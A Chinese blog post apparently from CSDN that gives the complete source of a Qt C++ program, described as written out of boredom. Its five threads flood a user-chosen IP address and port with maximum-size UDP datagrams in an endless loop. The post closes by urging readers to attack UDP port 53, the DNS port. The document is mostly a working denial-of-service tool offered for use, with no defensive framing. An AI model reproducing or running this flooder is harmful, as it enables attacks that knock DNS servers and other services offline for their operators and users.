• 没有事情做 随手写的小程序


    Qt  代码包  https://download.csdn.net/download/nn_84/88830445

    dialog.h :

    1. #ifndef DIALOG_H
    2. #define DIALOG_H
    3. #include
    4. #include
    5. QT_BEGIN_NAMESPACE
    6. namespace Ui {
    7. class Dialog;
    8. }
    9. QT_END_NAMESPACE
    10. class Dialog : public QDialog
    11. {
    12. Q_OBJECT
    13. public:
    14. Dialog(QWidget *parent = nullptr);
    15. ~Dialog();
    16. mythread thread1;
    17. mythread thread2;
    18. mythread thread3;
    19. mythread thread4;
    20. mythread thread5;
    21. private slots:
    22. void on_pushButton_1_clicked();
    23. void on_pushButton_clicked();
    24. private:
    25. Ui::Dialog *ui;
    26. };
    27. #endif // DIALOG_H

    mythread.h  :

    1. #ifndef MYTHREAD_H
    2. #define MYTHREAD_H
    3. #include
    4. #include
    5. #include
    6. #include
    7. #include
    8. class mythread : public QThread
    9. {
    10. Q_OBJECT
    11. public:
    12. mythread();
    13. QString name;
    14. bool boolvalue;
    15. QByteArray buffer;
    16. QUdpSocket *socket;
    17. QString address;
    18. QString port;
    19. public slots:
    20. void run ();
    21. };
    22. #endif // MYTHREAD_H

    dialog.cpp :

    1. #include "dialog.h"
    2. #include "ui_dialog.h"
    3. Dialog::Dialog(QWidget *parent)
    4. : QDialog(parent)
    5. , ui(new Ui::Dialog)
    6. {
    7. ui->setupUi(this);
    8. thread1.boolvalue = false;
    9. thread2.boolvalue = false;
    10. thread3.boolvalue = false;
    11. thread4.boolvalue = false;
    12. thread5.boolvalue = false;
    13. }
    14. Dialog::~Dialog()
    15. {
    16. delete ui;
    17. }
    18. void Dialog::on_pushButton_1_clicked()
    19. {
    20. thread1.boolvalue = true;
    21. thread1.name = "1";
    22. thread1.address = ui->lineEdit->text();
    23. thread1.port = ui->lineEdit_2->text();
    24. thread1.start();
    25. thread2.boolvalue = true;
    26. thread2.name = "2";
    27. thread2.address = ui->lineEdit->text();
    28. thread2.port = ui->lineEdit_2->text();
    29. thread2.start();
    30. thread3.boolvalue = true;
    31. thread3.name = "3";
    32. thread3.address = ui->lineEdit->text();
    33. thread3.port = ui->lineEdit_2->text();
    34. thread3.start();
    35. thread4.boolvalue = true;
    36. thread4.name = "4";
    37. thread4.address = ui->lineEdit->text();
    38. thread4.port = ui->lineEdit_2->text();
    39. thread4.start();
    40. thread5.boolvalue = true;
    41. thread5.name = "5";
    42. thread5.address = ui->lineEdit->text();
    43. thread5.port = ui->lineEdit_2->text();
    44. thread5.start();
    45. }
    46. void Dialog::on_pushButton_clicked()
    47. {
    48. thread1.boolvalue = false;
    49. thread2.boolvalue = false;
    50. thread3.boolvalue = false;
    51. thread4.boolvalue = false;
    52. thread5.boolvalue = false;
    53. }

    mythread.cpp  :

    1. #include "mythread.h"
    2. mythread::mythread()
    3. {
    4. socket = new QUdpSocket(this);
    5. }
    6. void mythread::run()
    7. {
    8. for(int i=0;i<65507;i++)
    9. {
    10. buffer.append("a");
    11. }
    12. while(boolvalue){
    13. socket->writeDatagram(buffer,QHostAddress(address),port.toInt());
    14. }
    15. }

    .pro  :

    1. QT += core gui network
    2. greaterThan(QT_MAJOR_VERSION, 4): QT += widgets
    3. CONFIG += c++17
    4. # You can make your code fail to compile if it uses deprecated APIs.
    5. # In order to do so, uncomment the following line.
    6. #DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000 # disables all the APIs deprecated before Qt 6.0.0
    7. SOURCES += \
    8. main.cpp \
    9. dialog.cpp \
    10. mythread.cpp
    11. HEADERS += \
    12. dialog.h \
    13. mythread.h
    14. FORMS += \
    15. dialog.ui
    16. # Default rules for deployment.
    17. qnx: target.path = /tmp/$${TARGET}/bin
    18. else: unix:!android: target.path = /opt/$${TARGET}/bin
    19. !isEmpty(target.path): INSTALLS += target

    嘿 大家知道 攻击哪个端口吗  53 53 53 记住 udp 53端口  

  • 相关阅读:
    构建表情符号制作应用程序
    后端请求转发与请求重定对于向前端静态资源的加载影响
    第六章:函数
    区块链领航者孙宇晨:驾驭潮流,共绘未来新篇章
    学习鱼眼相机的总结
    芯科蓝牙BG27开发笔记8-片上Flash读写
    MySQL 多表查询
    小白也能看懂的缓存雪崩、穿透、击穿
    python脚本合并多个pdf文件
    SuperMap GIS基础软件安全问题Q&A
  • 原文地址:https://blog.csdn.net/nn_84/article/details/136050715